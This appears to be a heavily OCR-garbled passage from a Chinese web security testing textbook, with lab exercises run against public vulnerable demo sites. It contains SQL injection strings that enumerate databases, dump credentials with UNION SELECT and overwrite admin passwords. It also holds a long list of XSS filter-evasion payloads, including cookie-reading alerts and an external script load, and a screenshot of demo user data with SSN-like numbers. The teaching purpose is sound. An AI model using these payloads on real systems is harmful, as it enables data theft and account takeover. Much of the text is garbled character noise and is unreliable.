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H R — AP R XA XN 5 T RAT O BAE TR RAUAL AR B 4% 5 F T2 8
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MIXAE6) T AK B, F2 5 0 A # a_variable £ — 45 id FERA XK F, Fd,wX
ZamMA P FE—NFHS AL THHELFHGE LR, 4o, a_variable ILE 4

1;DROP TABLE users
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3. B AN 55 b it T i
A B, BB R S 35 AR AL A R R R, 4 mysql_real_escape_string() 52 MySQL IR % %



BRI 3R 08 31| 45

P RRRR, IMRRAALF—INTAEZRBEROAE —FHFHBMAT— KR SQL
ENILE

4. % H SQL ¥ A¥ ik

L—-ANMNWeb i AEFH TiEREZHILEFEEESLAEFTEZHIARTLN LS KXEFHH
SQL EAK F, ABRFAYMA R TR F RS ETHIE . M AREEANLFIES FHTEHES
HERILITARRANASL, IMLEMIET  BALAAE—NKFOFITHOME -
FeyiEea, 122, —LRFANILE Fo B /7142 &L E A4 # 2 . — 4 4 Absinthe 89 T B3k
TR XA & B ik,

5. S B

ERE LA — A SQL EANGE BB FELE—ANTBOEARFFFR LT —ATHEH
1. 4ei& 4 SELECT booktitle FROM booklist WHERE bookld = 'OOkl4cd' AND 1=1
SF 5 — N AREY SQL AT, miE 4 SELECT booktitle FROM booklist WHERE bookld =
'O0kl4cd' AND 1=2 E R @ %% SQL AKX FHATHRL E - AFRRGLE R, XHY
ENIEHE B8 SQL EAZ TG, T FHERE RIS AN PO EFEANSTELITT
VAFEF) A 8995 )

6. FAFTEZEHS
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RHES AT T8 —A SQL 4R, #ldeiE 4

SELECT 1/0 FROM users WHERE username = 'Ralph’

B X, A P Ralph A&, R 55847,

7. IR Gt i

Bf 8] 3EE 2 — A H B 69 SQL EANLREFTEA G EH,E T 55K SQL 3] F A7 — 4
KRG R H— AR R ERES, HEFTUAH T N @M R R, K df kT EANNGE
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acu leg lest Website for Acunetix Web Vulnerability Scanner

about news logout admin  post news

pasted by admim on 11/8/3008 11:37:35 AM delete  add comments _
i ili I
Sun Mon Tue Wed Thu Fri Sat
26 January 2005 - A beta version of Acunetix Web Vulnerability Scanner has |56 37 23 20 30 31 1

been released today. The beta is available for download at 2 3 4 5 & 7 B
http://www.acunetix.com/download/. 9 10 11 12 13 14 15
posted by admin on 11/5/2005 11:35:22 AM _delsle 16 17 18 19 20 21 &”
Web Attacks - Can Your Web ﬁpnllcatmns Withstand The Force? 43 24 25 26 27 28 29
21 July 2005 - Start-up company Acunetix released Acunetix Web A 1 2 2 1 3 §

Vulnerability Scanner: a tool to automatically audit website security. Acunetix

Web Vulnerability Scanner 2 crawls an entire website, launches popular web ~ Get RSS feed
attacks (SQL Injection etc.) and identifies vulnerabilities that need to be

fixed.

posted by admin on 1178/2005 11:32:30 AM  de'sts commant:

Watchfire Licenses Patented [ntellectual Property To Acunetix

Watchfire and Acunetix Also Enter into Cross-License Agreement

dit
&

‘Intu’nel J’H »| WOy -
-

E 1-6 BRI



10 ,  BENREIEELINER

N/
@ EREIT

SQL jEA S E 4] A 692 2 3 E SQL &% .4 SQL & &4 A A EN .. L E 155 0542 A
AL, TR EFEENT,
(1) $RILEIE E A,

and (select @ @version)>0

(2) KRBT HERHE L,

and db_name()> 0

(3) KIS MBEHFERAP L,
and user > 0 and user name() = 'dbo’
(4) 1 P Ay B8 T 5 AR

and (select count( * ) from master. dbo. sysdatabases where name > 1 and dbid=6) <> 0

(5) #H A0 F B4,

and (Select Top 1 col name(object id('# % '),1) from sysobjects)> 0

.asp?id = xx having 1 =1 //3 F adnin. id £ & — /MR £ adnin o — /5] % id
.asp?id = xx group by admin. id having 1 =1 [/ 7T vA#§ 3| 3] &

.asp?id = xx group by admin. id, admin. username having 1 = 1 /1333 H—A5F 4%

do R Jo il T R A Ae TG 3 T AR kA G E,

union select 1, 2, username, password, 5,6,7,8,9,10,11,12 from usertable where id=6
(6) BIKS,

union select min(username),1,1,1,.. from users where username > 'a'

(D R ERIAHEDA 123,

.asp?id= X X ;update admin set password = '123' where id =1
.asp?id= X X ;insert into admin(asd,..) values(123,..) //# 484 admin P B A 123 T

(8) 1 MR E /&7 P & R 89 & AR,

and (select count( * ) from # & & . dbo. £ % )> 0 [/ ZEFLGLE, WNIAEEE, TNFFT

1.4 955 %4 zero MM HEIR T35 BT S )

FRPEFRAE  zero i £E Mk A58 I admin A B A B 51 0TI,
MK FE5HEs Windows 10+1E 11 8¢ Chrome 45.0,
ik 5 BR

(1) FTH zero MBS http.//zero. webappsecurity. com/ .

(2) fEHLHEAE M BR index. html. 2R J5 3B Il admin. 3% Enter .




S
K=

g1 =20 2k

HAEB R W ar e s Joik s B W o, el o BUAR B O3 6 5% i
LERER  BhF PR AL v HREFR BN AR L g 2 580, 25 R A 1-7 A

E 1-8 Prs .
| Y Zero - Admin - Home X x
& - C‘i ] zero.webappsecurity.com/admin/
Zero Bank \ fif#index.html/5iEHnadmin
Admin Home
N EranE
Currencies
A1-7 #AEHRATE
Zero Bank Search %) Signin
Users
Name Password SSN
Home

Leeroy Jenkins VIZ10AWTBVL 536-48-3769
Stephen Bowen OTZOTEXMOBE 607-58-7435
Currencies Linus Moran FKOD4SXATTI 247-54-1719
Nero Chan TXJTTCQOSEI 578-13-3713
Kadeem Higgins MFC500QE7VO 449-20-3206
Quinn Burks HWZ97TZUM3NK 008-70-6738
Davis Thompson RGD78SHEBOTG 574-56-1932
Lester Keller EIJ7TONLTOTP 330-58-4012

WD tmaw

B 1-8 ARIRETHAHIP 255N

KRB GHINES S ETEFTEEEAFIA, 2017 .5 %8 F i iE £ A%
Web 4% =i, MAERFTAORA LRI . BEARTAP L TR Akl
REZOHERAT AHILBTARE AR BHLED L TFEPFHGIES HHE LS FF,

HTTP KA &R LKEG . A ALETENS R ERELERAN, FHiAEGERELEZ
AT — AA0 38 k42 Cookie P 2 BARIE X AN A0t A P 8 F i 3E 4775 . @ R

11

N/



12 . BENREIELINER

TR RAEK,

AP FikiER TR AR RSP R LG, FHB YR LT EHIR
XA, AFFK Web RS FAANEZEAXE Web R AESFTENOGR, b
TEARA FAARBFLEIAZXNEIHANERSEFEFE, ALAETXHNFTE
AAAERE FATE AN AR RKPILHFITAALRRA, BAFENMZLEEFIAFR
Bl s Ak 5 SLAL R R L BT VAR 4%, i 1 2 R R A B AR B AR

Mo E AR P69 B S A IE R 4E (credentials) 22 E ID, BiEfE A2 & H A £ &K
B IE R 235 B iR AL T ILEF &,

(1) % A4 AEFE e R, £ F B2 1% A hashing s % & 47,

(2) PRAEEIERZ T THM , X HA BB L HHOIK P EE IR (B ek P22 | 5515
B ERKRA B ID)ES,

(3) a1 ID A F R ELE URL Z(#l4e URL £5),

(4) 214 1D & & % % 7 3| 215 [E £ (session fixation) #93L &,

(5) 2 ID AL, A FaGTiR i,

(6) R EME . 2% 1D 2 F 244,

(7) Z# 2% 1D e LA e 2 & Rl TLS #3345 4,

1.5 SEUSHS. testaspnet 3T HEZLE) fh ALK

TRPBEAREE  testaspnet M i i—comments PEIE X —PEISHE 5 17 A8 HE 22495 £ XU .
M Ea 5% Windows 7+1E 9 5% Firefox,

B hies
(1) H IE D % 4547 H testaspnet M35 http://testaspnet. vulnweb. com/,

(2) {£F 4 comments,
(3) 7£ comments CANHE P i A< iframe src=http://baidu. com >, #.i; Send comment

e 1-9 ros .
P -

M acunetix

about news login  signup

 Fiss |
et e < oueras >

Waltchfire Licenses Patented Intellectual Property To Acunetix Gam Bl Toe Wed Thar Fri St
‘Watchfire and Acunetix Also Enter into Cross-License Agreement 28 29 30 1 2 3 4
User comments: 3 § Z 8 2 L Uu
r 12 13 14 15 16 17 18
postsd by 183.6.66. 3610302008 1-46:53 PM 19 20 21 22 23 M 25
2 26 27 28 29 30 31 1
£ 3 &8 5 & 2 B
Q
RSS f
ponted by 115,76 LES 2014 1:17:22 B8 e
1

ciframe src=http:/ baidy.com

-

il

i A AR

w

& 1-



L1 KGRI

(4) HHELR UM,
HEBEER e ke A ERERSY AR .
SEBREER AR EMEZL R )R B 1 HAR YIS, JF B o R 5 EL . A 1-10 o,

=T =

ﬁﬂcu n&ﬂ}{ Qcu bI:JQ Test Website for Acunetix Web Vulnerability Scanner

€8

about news login  slgnup | 55 |
posted by adein 11/5/2005 11:32:30 AM
Watchfire Licenses Patented Intellectual Pro To Acunetix
Watchfire and Acunetix Also Enter into Cross-License Agreement
User comments;

posted by 183,666 3610 M/ 2014 1700: 25 P8

& 1-10 FFIEHMEZREY A

D TR

A G A e M R R M 3EM frame 3 iframe EZZ (A4 & X&), B AT K& A 3 #
7 iE,
1. £/ meta jChr%E

< html >

< head >

< meta http — equiv = "Windows — Target" contect ="
</head >
< body ></body >

</html >

_tl'.jp":}

2. {8 JavaScript JHIZAS

function location top() {
if (top. location!= self. location) {
top. location = self. location;

return false;

}

return true;

}
location_top(); / /A

XA FTERFUER S 22 Z 52028 THBODE,RFZAEALIER P A A
var location= document. location 3 % var location="", &4E.9] & &9 I iE 2 & 2 L 4T X,

13

N



14, BREMRRWEES
N/

Al Ty XIRAR M RA2AE A

3. {5 IE HTTP 22 4w i s

iX 228 8900 JL 3k & X-Frame-Options, iX /™ & & T VA i & 4 B JavaScript ) B & 4%
var location #& &9 7 # ,IE 8.Firefox 3. 6 .Chrome 4 vA L& A e ik 473 X &, ¥4 Java
EE 84 FF A A Bl . ANK Java g 6 KA

//to prevent all framing of this content

response. addHeader( "X — FRAME — OPTIONS", "DENY" );

//to allow framing of this content only by this site
response. addHeader( "X — FRAME — OPTIONS", "SAMEORIGIN" );

BT AZEATIR 55 25 9% 09 B 1 (U F A RE RS IR 7 & 5n I 12 69) , AN/ 4 AR W 35 R 2 AR
RUsAM, WAFBEFTHABDWNRALEN T E,

1.6 5255 6. testasp PH3h AT HEZR B i AU

TRPEARRE  {E testasp IOl 25 10 B 7 76 HE 22474 10 XU .
M EaEN%SEE Windows 7+ Chrome—+Firefox+1E 11,
ik 27 TR
(1) FTH testasp M4 http://testasp. vulnweb. com,
(2) ¥iid; search,
(3) {ECAKE P Hj A< iframe src=http://baidu. com >. 8. i search posts $i £l . U
Bl 1-11 iR .

.
K | E—

[ ] X
« tasp wulmweb.com/Scarch o fox &
M acunetix FEEDEENL

- forums -

\ input:
Copyright 2005 Acunetix Lid

<iframe src=hitp:/fbaidu. com>

K 1-11 W AEZRYE

HAEBER nmmEnEEGEe.
SEPRGR v ALY E A E 2R AL B AR R M A WA 1-12 o,

D tRa

Web p AAE B0 %t — N T 2B A . AAMEALZELEFE48H— B4, Z
BEHRAMEREFZTEZHRMSF .S EZRIFHF, OWASP(F# X Web & B 42 5 % 42 RN




<. Exmm ;u‘ﬂm

m UCUFOI"UIT’I TEST and Demonstration site

- forums - search - login - register

|| search posts |

Bal'&EE °

22 o ST 1

W

< >

You searched f|I ’

B 1-12 MubHESR EEE

B)MAET Web BAAZ A ¥ R AL &M 69 % 4 R, 1258 45 £ R By ARAL 3k K 3L T 4 L 69 37
6955 AR #HT 6 Web s EF B, L& AR FRAHG 7 HIA P, B HAREFE N K
WA ERA . EBA B AT RAA A RAAZ G IRF F2 55 5,
HTML X, 8 & & iframe £ 7T A T & HTML 7 & P 5 AN — 2 SCAHF (e STAS AL 30 5F ) 69 3%
K. *F iframe 5z & 09 B F A iframe £ — AN TAE S A B PREFREMETEGASHIK,
iframe 4 & 2L 2 — /T 2B, iframe 89 A E 1k % ‘I-IF % fn B WA K J'&fﬁ’%
R e, %M iframe 8% E4 T,

< iframe src = "http://www. 2cto. com"></iframe >
A BLAE S AW TP B s b,

< iframe src = 'http://www. 2cto. com /' width = '500' height = '600' style = 'visibility: hidden; ></

iframe >

ZP) iframe EX T REFASECZERTRLRERBAT . MTARGELT T, B TEH
MNEaEELE BB T A—EEATLEEFFRER T,

ME.CEZETUNAPLPARE PR T (22 iframe MRS EF 24T, ER—A4

AW EARN . ETHAEAZLET session(L@FZF B TR LE—AM3E P LZINEN F 013
B EF N EMIBRBER G FET,

1.7 SZ55 7. webscantest [R5k 47 HEZR 8 10 ARG

TRPEFRAE  webscantest i H Search by name 377 76 HE 225 4 15 55 .
MR EEEMNREEF Windows 7+ Firefox 8¢ Chrome,

iR 2 IR

(1) FTH webscantest ¥4 http://www. webscantest. com,



16 ., BEMIRXEIEKi)lFE

(2) gy Ay F 77884 Browser Cache Tests, U0E 1-13 s,

Web Scanner Test Site

This site is setup to test awtomated Web Application scanners like
You can view a sample report at hitp:/Swww. webscantest. com/report/

DB tests:

Il Inject Tests [lind SOL Tests

CSRF tests:

Cross Site Seripting Tests CShHI 18-

CORS tests:

IS tests:

Bazic tests:
Pick a categary

05 Command Inject Tests Java Grinder Tests Directory Browse Tests EBesonrce Finder Tests Malicions iFrame detection Web 2.0 / AJAX Tests

1ml |_|._ T gtat II:-.":.-I: | :I'II |“_||_:|_:“ legisg insiness OF1c In,-\.'\.

B 1-13 B Browser Cache Tests fE#

(3) £ Search by name 3 H #ij A < iframe src = http://www. webscantest. com/
infodb/index, php >,
(4) By 2"l .
(5) WME T AIJLER .
HEBEER AP eEZRy 6.
SERRER A AEREZEY R, A E 1-14 FrR .

* i www.webscantest.com/infodb/search_by_name :;h|.~

fEteEey fn ks

Web Scanner Test Site

Search by name

Web
Scanner

Searching fq

E 1-14 FFTEHEZREY & S



K EREME)%

WD Tmaw

— AR RGN EAEARHAEATHMN A ;ffi-:%ﬁ’I‘é’HF:}fsjiW].:HE%: A B

XAEAEE B AR ESTEARRAIEAYE"H FTXEH, TLAEFTX 4T,
(D) 2RI &EMEXTRE. KZKERPF/IMATEREE, f&ﬁlﬂé_ifi‘hﬁ'wﬁéﬁ
R P,

(2) Zxrad49 & Ml Lk AP M ERATKRS (FEA, ZFA P M AT

(3) ZEBEM LW AR IATMIE I P AEFRITANLZEKEP,

(1) B BE Tt ESHEREA P EE. A P 24,

(5) & & B Wy M 55 2% ) 4 B 35 BAR S PR30 W 7 A &7 B 1y 7 S 3k, ﬁﬁlf&’pﬁ’kk’fﬂ
B Ao PAT RS, X 4 W 35 29T A AR R IR P A N8 S ATTAT L FAR K 5 A 55 B 43 8, 3 KA

Ko M3k T B RmA, — AL FHOHEME . FHHEMLE, FNATHE, Hlde, F
E L 44789 E M2 www. icbe. com, 49 @& M 35 7T s U5 53R 5 F 45 . ) e 5 3 www.
lche.com, AEA @M EA . HEMGAEEENILFR A2 —HF . EE2FE RN EHFw L
M EmsEEM, THAEYAPEAEMNERARTR, S ERAEFE . RITKRT S ZE a0 H
RN EMEHEET APAHARTRTHLARERLEL., A —FAMNBARAIARIA T NN E
W sk A2l TAL LA W sEA B T A& M3E, —ASM k4o RAEAAE 2,38 7 40 A W 3549
BYRE, AEF S8 FEL G FERNBERRNES>TARABEIL,

1.8 SZUG H#8: crackme W3k HEZL B 0 XU

TRPEFRA  crackme [ 3l X5 S5 B 1] 1Y) 2 BA R0 J) hUserType 77 7EHE 25 8 XU
MK EEESHMESF Windows 10+ Firefox 49.0. 2,
ik 7 TR

(1) FTH crackme M ¥l http://crackme. cenzic. com/,

(2) Hiidi Login, WA 1-15 ros.

MEE ®EE BV heE $EE 180D =EH

CrackMeBank Investments x firefox BERE X | +

€ crackme.cenzic. cnm*kelevﬁview{hom? php  FTFFRIuA VE C
18 SxwE | eSS t HFE e | =ar b srms

g?c{ e Bank

Welcome to CrackMeBank Investments

¥ Home
¥ Loans
» Net Banking

» Credit Cards

» Online Trading $E|j[—’ﬂg|n
» Contact Us
¥ Bills Online

¥ Not a Membey

| ¥ Login

e
& 1-15 Hi5 Login

17



18 ., BEFNWELIELIER

N

(3) Far A G % 5 B 40 user ID A a,password A a.
(4) ¥T7HF Firefox ) Tamper Data T. H, i Start Tamper., HL 5 Login, W& 1-16

FIE7R

€ (| crackme.cenzic.com/kelev/php/login.php Wi o Q F=<Ctitks o
& 22wl | aEses @ HFELE ) SR B srewE @ Tamper Data - Ongoing requests
=~ — Start Tamper | Stop Tamper Clear
J Fi
Welcome to CrackMeBank Investments
Timel] Duration Total Duration Size .. . .. URL
» Home Welcome to CrackMeBank Investments Customer in
» Loans H] Enter your user ID | |a |
» Net Banking 3] Enter your password |= |
» Credit Cards
3. iStart Tamper
Comtact s A il P
Bills Online 1' *ﬁ/]\ﬁi%’%
Online Trading
ol 4. HiifiLogin
» Login
Bl 1-16 % A%

(5) Tamper Data # {}{ Tamper with request X} iHHE , /2] % Continue Tampering, HL
i Tamper &8, A 1-17 Fros .,

' Tamper Data - Ongoing requests —
Start Tamper Stop Tamper Clear
Filter
Time Duration Total Duration Size .. .. ... URL
Tamper with request? X
0 http://crackme.cenzic.com/kelev/php/login.php

[] Continue Tampering? AE)it
Request Header Name Red : Response Header|

Tamper Submit Abort Request

#.f Tamper

B 1-17 Tamper B 5% $

(6) Y Tamper Popup X i #E , £ hLoginType & §7 ¥ 5 " >< iframe src = http:
//www. gzpyp. edu. cn >, {NE 1-18 i~
(7) By ol " L
HAZB AR AArAEHER Ry UK .
SERRGER  ArEHELEY £ AU, 45 R anE 1-19 R,



R BEREME)% \19/

Tamper Popup X
http://crackme.cenzic.com/kelev/php/login.php

Request Header Name Request Heade... Post Parameter Name _ Post Parameter...
Host crackme.cenzic.c hLoginType v.gzpyp.edu.cn :rl
User-Agent Mozilla/5.0 (Win hPageMame accttransaction.j
Accept text/html,applic: whoislog Welcome+to+Ci
Accept-Language zh-CN,zh;q=0.8, hUserld 0
Accept-Encoding gzip, deflate a

Referer http://crackme.c rd a

Cookie PHPSESSID=cfb! sendbutton Login

i A "> <iframe src=http://WWw.gzpyp.edu.cn>
BE s

F 1-18 i AP A E

XHE) %WEE =BV BEO BE® 1RO =:HH

€ (| crackme.cenzic.com/kelev/php/login.php

B s2=wia [ xansses @ F=rE ) samn B ssas

» Home

> Loans

» Net Banking

» Credit Cards
Contact Us

Bills Online

< IS

Online Trading
» Register
» Login TREAESR B PR

Bl 1-19 W3 77 75 HE 28 44 £ XUBS:

2, SR

A 3 20 o B e T A) A Firefox P #9 Tamper Data T B 5 A & @ R & 2 P o9 28 3 47
Had, EERGSEMNXT, HAMAAA TRAAA AT I PETBA R R
RIRALZ Ao tt, X BRIFEF— BT AKIEGIMANA AT, T W32 E M54 T
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BRI 3R 08 35I| 45

B ¥,

BEHRMERGHEMEEFEREIZAALT 8 #.

(1) @it QQ.MSN.F Z IERESF & P in W K T L& ZAF 3649 & W 55 4% 4,

(2) B EFNFE FIRERAT F. RN AP EEHEME48, L FRTHRMBE
2 M 3k RALE K 3E4E A .

(3) it E-mail .63 15 %SNS R 3k 3k & 4 A 49 & M 3545 4 |

(4) i@ iF i  Twitter P o548 0 49 & M 3545 4,

(5) Wiy Fop4F(Fl e A“RATE BT TSR IGA P AN &KL,

(6) Bfmap B QQUMEEEFH AT AP LK EHAH &ML,

() BEFMME . ZETEAMEBREGARFE e AP EEEHNN BN,

(8) PAE AR F - AN M kit 5 & £ 69 453% . 4» gogle. com,sinz. com ¥, — 2 A F 5§
R IEANA &M 3L,

e R EFEAR RER Web R4 F R B2 F S MEHRTHRRA-ANBEGY &N
3E (A 2 @& M 35 iframe ZAF] A ),

1.9 SEUS 9. testfire MuE4T XSS e i S

TREEFR  testfire | 01— KHEALFAE XSS I i KU,
M FEFRENEE Windows 7(64 bit) +1E 11,
iz 27 TR
(1) ¥TH testfire M ik http://demo. testfire. net,
(2) 7EHH ZHEf A< script > alert("test")</script >,
(3) B Go 1T %,
B AR RMNEH O XA HE
EEREER M XSS By R, SR test RS W 1-20 frs .,

_—— —_— —

‘; )| @ httpy//demo testhire. firenet/scaré O « X || O demo.testfire.net | "t e .i-'-} “
I M | Sign In I;t.nm:t_l.ul_eﬂhaﬂqls«rchl e | A
toroMutua \, (
\——) iy SRR

m ONLINE BANKING LOGIN

Search Res| =armxzs

Eii test

.EEEEEE
H

{
]
;

i

é
=
&

|

hitp://demo.testfire net/default.aspx?content=inside.him £ 100% -

B 1-20 5 XSS Zoddi B X i AE



RWT RERSWRIG | 21

N

-

WD TRaw

XSS A —#2ZF WAL Web A F G+ F AL 2RA,CAFLEE Web A P F K
HANRBEL IR PEAGTE Y, XK aE HTML K& E P A,

P 2007 S OWASP it 69 iR %2 m P, 5 s KRde & & 22%, & & T A Web
BWZ A, 2013 F. XSS HH L F =,

XSSH £ e FaELTILF |,

(1) BREEAPRT oM BEZKST AP MAKRT SEXTEAKS,

(2) = H) kI, 43I L2 A e ) R b BORK B3R

(3) K54k F 209 LA B L A4E 6 TH.

(4) FEEHEK,

(5) 3% 4 A A W, F R4,

(6) MabEL

(7) =42 EFHHIE G 2 A 3 35 4 4 &

A PR M s AR d Az ikl Fearel il m At L e, Stk
HFRATEBBEPHATERD, REBERAPFZLE, AEFBFTLEATSEN (AL
By X)W EBERL AR PFHRECHEER, RSEBEKIOASEERLYFRZEL
FAEA—NOSEERBY G, mMEAANTEfRAWE RS ERGEGXERE S EEM, F
SRAAHB T AIRIEESALHFRA P AL LS HTML 4= JavaScript 890 -F, BRiZA 7 ¥
AET— ST ERmANMNST ARAR P CEXNLX BT, ZEhARSIMIT.ER
F P T session 13 &,

ATHERAPAELE. LK HB w2 KEARFGES P IEN JavaScript, VBScript,
ActiveX & Flash AR P, —EFF HMNTAERAPKPF EERAPIRE AR/ F
% Cookie BB &%, H#RAA KT XSSHAEH B EFRDHIA,

i & AJAX(Asynchronous JavaScript and XML, %% JavaScript ## XML) ¥ K # % #&
MR XSS#HstEHEEeERFHLKR, A AJAXORKEEZATARA ZIHEAN T @R LT
23 . Web AT A REMa A PinK, AJAXSALE R Web REERR B FH =7
MFSEE . AXSSHERBTRFONS, AIAXEARHBAEEL Z EAH@MT, 4
FHFEFTLR BBARRBAGER HEXRARAAXCRF, AJAX R ARHBER FIL
BRI SRR, X LI e T T HEN &,

1.10  SEB5 £10: testasp WISLAT XSS ¥ i KUK

TREEFRE  testasp MUl B Tl —>search T [fil—>search posts HE P A7 1E XSS I i KUK
MK FEG5HEs Windows 7(64 bit) +1E 11,
P R
(1) FTH testasp Mk http://testasp. vulnweb. com,
(2) s FALS W search 4%,
(3) {F search posts Z&M SCAHE ¥ A< script > alert("test")</script >, Hifi search
posts &2 #l A $k .



BRI 3R 08 35I| 45

HAEER AT XSS I KU
SEBREG R fEAE XSS I KUK, 5 XSS T B X HE L WA 1-21 s,

= | B 3

ED 0 6 veriresacpuninn- 0 - x] @ scioram s ke

N Macunetix AT EST and Demonstration site for Acunetix Web Vulnerability Scanne
I

about - forums - search - login - register

| | [search posts |

You searched for '

®100% ~ |

— - o —  —— ——

Bl 1-21 XSS Zrifi X i
D T

MEGMEX 205 KENHSAZARIT A P AKRE . Web EAREFRBETE R P
MANMEY AL, bl AAERERE AASRERETAOE AAERH K - F &
b5 o3 —FF % A% 3k By K £ 7 [ Cross Site Scripting, &4+ £A4118 % ¥ X % 5 &
XSS, g A R % % CSS.12 %4 T Fo & & # X & (Cascading Style Sheet, CSS) A A K 4, 3 #&
XSS |8 @i #5355 B A4 REAE RREB.IAZ LR T LB,

HEMEM N Y KL —#A ASP.JSP.PHP ., ZEZ 755N N&EFRZHREH
BREBHY, #AMANT E L —&H HTML.SHTML &, 2 28 E@ 695 W 2 47 F 3
G 7

(1) A 35 FF B & A, e AT By 37 XSS =&

%8 OWASP #9223l 3 XSS P Rz & 6o mAb k. BiE T A M AT A
A B AT B B ATIE S 6 B AL, VA B AR AR AT € AR B E N 8 i A A ) N B sh
AT, ARG T,

NIEAE . X ANBEAE T A TR T A Z AT AR AR N R SEALE] L B AT A
MNBEHRKRE ER B EUARLFHAN,

Wb g AL, BCHEST B AT AR R P R Y BIE O I AR BEAT entity 0 AL, DU BT A F
FHAT R i RALR PR T AT 4.

A TRy . REAFLEZ AN P EF R F X (20 ISO 8859-1
UTF &),

EE L L RLHIES X ARME. AR ERRBF R — B FH (Ge"<" ">"RE M "script”
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(2) WM 3ER P A efTE 37 XSS 2 &,

L 3T —# E-mail B4 R W iEk T b, B E B R T2 8 34T, B b A X sk
AR — F EAF R, B AR W B E P L H JavaScript, 4R 4E A IE &) W %E L #EL
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1.11 SEZL5 £ 11. webscantest 343 XSS Y i XS

TRPEFRRE  webscantest M3 1) search 347 7E XSS 5 XU .
M ES 5% Windows 7+ Firefox | ¥
ik 25 TR
(1) FTH webscantest ¥} http://www. webscantest. com.,
(2) i Ay F /711 Browser Cache Tests #4% .
(3) {E search B F#j A< script > alert("#RHEF " )</script >,
(4) Py “$R 3",
(5) WML A LER .
HEER AmNEAER.
SEBREEER D YT A 0 AR B, B XSS b s S AE RS ERIGEEY T, I 1-22
FIE .

| '(' | L) waw.webscantest.com/infodb/fsearch_by_name.php e = Q. SF <Ctrl+k= '& B 4

Bl 1-22 XSS iy G 2h X i 1E

WD TRAW
X TALIP 7 A 89 XSS L K35 A XM T F 3 ML EH),

< script >alert('XSS')</script> //#% #i% &)

>"'>< img src = "javascript. :alert('XSS')">

>"'>< script >alert('XSS')</script >

< table background = 'javascript. :alert(([code]) '></table >

< object type = text/html data = 'javascript. :alert(([code]); '></object >
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"+ alert('XSS') + "
'>< script > alert(document. cookie)</script >
= '>< script > alert(document. cookie)</script >
< script > alert(document. cookie)</script >
< script > alert(vulnerable)</script >
<s&$#99;ript>alert('XSS')</script >
< img src = "javas&# 99;ript:alert('XSS')">
% 3c/a% 3e % 3cscript % 3ealert( % 22xss % 22) % 3c/script % 3e
% 3cscript % 3ealert( % 22xss % 22) % 3¢/script % 3e/index. html
a. jsp/< script > alert( 'Vulnerable')</script >

< IMG src = "/javascript. :alert" ('XSS')>

< IMG src = "/JaVaScRiPt. :alert" ('XSS')>

< IMG src = "/JaVaScRiPt. :alert" (&quot; XSS&quot ; )>

< IMG SRC = "jav& # x09; ascript. :alert('XSS'); ">

< IMG SRC = "jav& # x0A; ascript. :alert('XSS') ;">

< IMG SRC = "jav& # x0D; ascript. :alert('XSS') ;">

"< IMG src = "/java"\Oscript. :alert(\"XSS\")>"; "> out

< IMG SRC = " javascript. :alert('XSS');"> //javascript W & ¥ N4 ,SRC KX 5
< SCRIPT > a = /XSS/alert(a. source)</SCRIPT >

< BODY BACKGROUND = "javascript. :alert('XSS')">

< BODY ONLOAD = alert( 'XSS')>

< IMG DYNSRC = "javascript. :alert('XSS')">

< IMG LOWSRC = "javascript. :alert('XSS')">

< BGSQUND SRC = "javascript. :alert('XSS');">

<br size="&{alert('XSS")}">

< LAYER SRC = "http://xss. ha. ckers. org/a. js"></layer >

< LINK REL = "stylesheet"HREF = "javascript. :alert('XSS') ;">

< IMG SRC = 'vbscript. :msgbox("XSS") ">

< META. HTTP — EQUIV = "refresh"CONTENT = "0;url = javascript. :alert('XSS');">
< IFRAME. src = "/javascript. :alert"('XSS')></IFRAME >

< FRAMESET >< FRAME. src = "/javascript. :alert" ('XSS')></FRAME ></FRAMESET >
< TABLE BACKGROUND = "javascript. :alert('X¥SS')">

< DIV STYLE = "background — image: url(javascript. :alert('XSS'))">

< DIV STYLE = "behaviour: url('http://www. how — to — hack. org/exploit. html&# 39;);">
< DIV STYLE = "width: expression(alert('XSS'));">

< STYLE >(@ im\port'\ja\vasc\ript:alert("XSS")';</STYLE >

< IMG STYLE = 'xss:expre\ssion(alert("XSsS")) ">

< STYLE. TYPE = "text/javascript">alert('XSS');</STYLE >

< BASE HREF = "javascript. :alert('XSS'); //">

< XML SRC = "javascript. :alert('XSS');">
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M ES 5% Windows 7+ Chrome 5% Firefox,
B R
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about - forums - search - login - register
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Login
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i, 5% )5 By Login #2481, A 1-24 iR,
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M EaE5NSEsE Windows 7 (64 bit)+1IE 11 8§ Chrome,
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(1) FTH testfire M % http://demo. testfire. net/admin/login. aspx.,
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[Y view-source:demo.testf x

«~ - € [J view-source:demo.testfire.net/admin/login.aspx E
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62 <a 1d="_ctl0__ctl0 Cortent Catlink3” class="subheader” href="../default. aspz?cortent=inside. htn">INSIDE ALTORO
MUTUAL /2

63 <ul clas=="sidebar">

64 lir{a id="_ctl0 _ctl0 _Cortent MNermHyperLinkl3™ href="../default. aspz?content=inside_ sbout. ktm" »ibout Us</ a>
/11>

65 1ir<{a 1d="_ctl0__ctlD_Cortent_MermHyperLinkl4d” href="../default. aspz?conternt=inside_cont act. htm™ *Contact
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73
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75 <hizAdministration Logind/hir
76
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78

79 | <form name="aspretForm” method="post” actiore"login. aspx” id="aspnetForm™»

80 | <input type="hidden” name="_ VIEWSTATE" id="__VIEWSTATE" walue="/wEPDwUKMTYSODYzNjk 3WRL" />

81
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85 <eztrong Enter the code shown showe: & strong><hr />
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|/ [®login page A
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Macunetix Feleilels

home | categories | artists | disclaimer | your cart A guestbook | AJAX Demo

search art If you are already registered please enter your login information below:
go

Browse categories Usermname : [test

Browse artists Password - |____

Your cart :

Signup login

Your profile You can also signup here.

Our guestbook Signup disabled. Please use the username test and the password test.
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user info » "-.k

€ - C |[) testphp.vulnweb.com/userinfo.php

Macunetix Rele iRl

artists
John Smith (test)

home | categories

search art
| || go

Browse categories

disclaimer | your cart | guestbook | AJAX Demo

On this page you can visualize or edit you user information.

Logout test

|| userinfo.php
|| style.css
-] logo.gif
|| add.swf

Browse artists
Your cart _
Signup Name: Dohn Smith |
Your profile Credit card number: [1 234-5678-2300-9000
Our guestbook .
E-Mail: i i
T lemail@email.com |
Phone number:
Links 369258 |
Security art Address: 21 street
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Filtes Hide data URLs ()| XHR JS CSS Img Media Font Doc WS Other
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¥ Form Data

Origin: http://testphp.vulnweb.d
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Upgrade-Insecure-Requests: 1
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VIEW source view U

4 requests | 2.4 KB transferred | Finish: 686 ms | DOMContentLoaded: 666 ms | Load: ...

uname: test
pass: test
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J& # & 443,
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(1) FTH crackme W% http://crackme. cenzic. com/ .

(2) A& Not a Member #f 4%, #F A W v i1, URL A http:

//erackme. cenzic. com/kelev/register/register. php.,

